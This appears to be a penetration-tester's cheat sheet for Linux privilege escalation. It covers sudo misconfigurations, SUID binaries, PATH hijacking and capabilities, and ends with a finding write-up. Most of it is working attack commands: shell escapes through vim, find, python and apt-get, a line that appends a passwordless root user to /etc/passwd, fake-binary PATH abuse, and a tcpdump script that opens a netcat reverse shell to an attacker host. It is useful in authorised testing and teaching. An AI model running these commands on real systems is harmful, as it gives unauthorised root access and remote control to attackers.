πŸ›‘οΈ Methodology Checklist

  • sudo -l β€” identify all allowed commands
  • Cross-reference every allowed binary with GTFOBins
  • SUID binaries: find / -perm -4000 -type f 2>/dev/null
  • Cross-reference SUID hits with GTFOBins
  • Check world-writable scripts executed as root
  • Check /etc/passwd and /etc/shadow permissions
  • Inspect /etc/sudoers and /etc/sudoers.d/* for weak entries

🎯 Operational Context

Use when: User has sudo access β€” check sudo -l for NOPASSWD entries, restricted commands with bypass, and LD_PRELOAD tricks. Think Dumber First: sudo -l is the first command after getting a shell. NOPASSWD on any binary = check GTFOBins immediately. sudo vim β†’ :!bash. sudo find β†’ -exec /bin/bash \;. Most GTFOBins bypasses work in under 30 seconds. Skip when: Sudo requires password and no password is known β€” pivot to other privesc paths.


⚑ Tactical Cheatsheet

CommandTactical Outcome
sudo -lList sudo rights β€” NOPASSWD entries = instant privesc
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/nullFind SUID binaries (bit -4000)
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/nullFind SGID binaries (bit -6000)
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/shapt-get sudo escape to root shell
PATH=.:$PATH; export PATHPrepend current dir to PATH for hijacking
echo '/bin/bash -p' > [BINARY_NAME]; chmod +x [BINARY_NAME]Create fake binary for PATH abuse
echo 'root2:$(openssl passwd -1 pass):0:0:root:/root:/bin/bash' >> /etc/passwdAdd root user if /etc/passwd writable
strings [SUID_BINARY]Find unqualified command calls (PATH abuse target)
ltrace [SUID_BINARY]Trace library calls β€” find unqualified commands
sudo /usr/sbin/tcpdump -ln -i [IFACE] -w /dev/null -W 1 -G 1 -z /tmp/.exploit.sh -Z roottcpdump sudo escape via -z postrotate
find /etc/sudoers.d/ -type f 2>/dev/nullCheck modular sudoers files
getcap -r / 2>/dev/nullFind binaries with Linux capabilities

πŸ”¬ Deep Dive & Workflow

SUID Exploitation Flow

1. find / -user root -perm -4000 2>/dev/null
2. Cross-reference results at GTFOBins (https://gtfobins.github.io/)
3. Look for non-standard/unexpected binaries with SUID
4. Custom binaries: strings β†’ ltrace β†’ identify unqualified calls
5. Small 's' = SUID+exec set (exploitable)
   Capital 'S' = SUID only, no exec bit (usually broken)

High-value SUID targets:

BinaryExploit Method
findfind . -exec /bin/sh -p \; -quit
vim:!/bin/bash
pythonpython -c 'import os; os.execl("/bin/sh","sh","-p")'
nmap (old)nmap --interactive β†’ !sh
pkexecPwnKit CVE-2021-4034
screen-4.5.0Known LPE

Sudo Abuse Patterns

# sudo -l reveals: (root) NOPASSWD: /usr/bin/vim
sudo vim -c ':!/bin/bash'
 
# (root) NOPASSWD: /usr/sbin/tcpdump
cat > /tmp/.exploit.sh << 'EOF'
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [LHOST] [LPORT] >/tmp/f
EOF
chmod +x /tmp/.exploit.sh
sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.exploit.sh -Z root
 
# (root) NOPASSWD: /usr/bin/apt-get
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

AppArmor note: Blocks tcpdump -z on Ubuntu 20.04+ β†’ gives β€œPermission Denied” even as root.

PATH Hijacking

# 1. Find SUID binary that calls commands without absolute path
strings /usr/local/sbin/suid_binary | grep -v '/'
# β†’ finds unqualified "cat", "id", "ls" etc.
 
# 2. Create fake binary in writable location
cd /tmp
echo '/bin/bash -p' > cat
chmod +x cat
 
# 3. Prepend /tmp to PATH
PATH=/tmp:$PATH
export PATH
 
# 4. Run SUID binary β†’ it calls /tmp/cat instead of /bin/cat β†’ root shell
/usr/local/sbin/suid_binary

Cleanup: Restore PATH or use absolute paths during exploitation.

Linux Capabilities (Alternative to SUID)

# Enumerate capabilities
getcap -r / 2>/dev/null
# Dangerous: cap_setuid+ep, cap_net_raw+ep
 
# python3 with cap_setuid
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

πŸ› οΈ Troubleshooting & Edge Cases

ProblemCauseFix
sudo -l requires passwordAuth required for sudo listTry anyway: sudo -l sometimes shows entries without password if NOPASSWD configured
sudo command escapes not workingShell escaping restrictedTry env variables: check if env_keep+=LD_PRELOAD is in sudoers β€” LD_PRELOAD with sudo = root
sudo binary on GTFOBins but shell not workingAppArmor or SELinux restrictingCheck: aa-status or sestatus; AppArmor may restrict even SUID/sudo binaries
sudo version old β€” CVE-2021-3156sudo < 1.9.5p2Exploit heap overflow: check version sudo --version; PoC available on GitHub
Restricted sudo with command argumentsWildcard in allowed commandsudo /usr/bin/vim /etc/hosts with wildcard = sudo /usr/bin/vim /etc/hosts -c '!bash'

πŸ“ Reporting Trigger

Finding Title: Sudo Misconfiguration Enables Privilege Escalation to Root Impact: NOPASSWD sudo entry or exploitable sudo configuration allows the compromised user to execute commands as root without authentication, achieving complete system privilege without any additional vulnerability exploitation. Root Cause: Sudo rules granting NOPASSWD access to binaries with known shell escape sequences (vim, find, python, perl). No audit of sudo rules against GTFOBins escape catalog. Recommendation: Review all sudo rules and remove NOPASSWD entries for interactive binaries. Use sudoedit for file editing rather than sudo vim. Restrict sudo to specific commands with exact arguments where possible. Audit against GTFOBins for each allowed binary.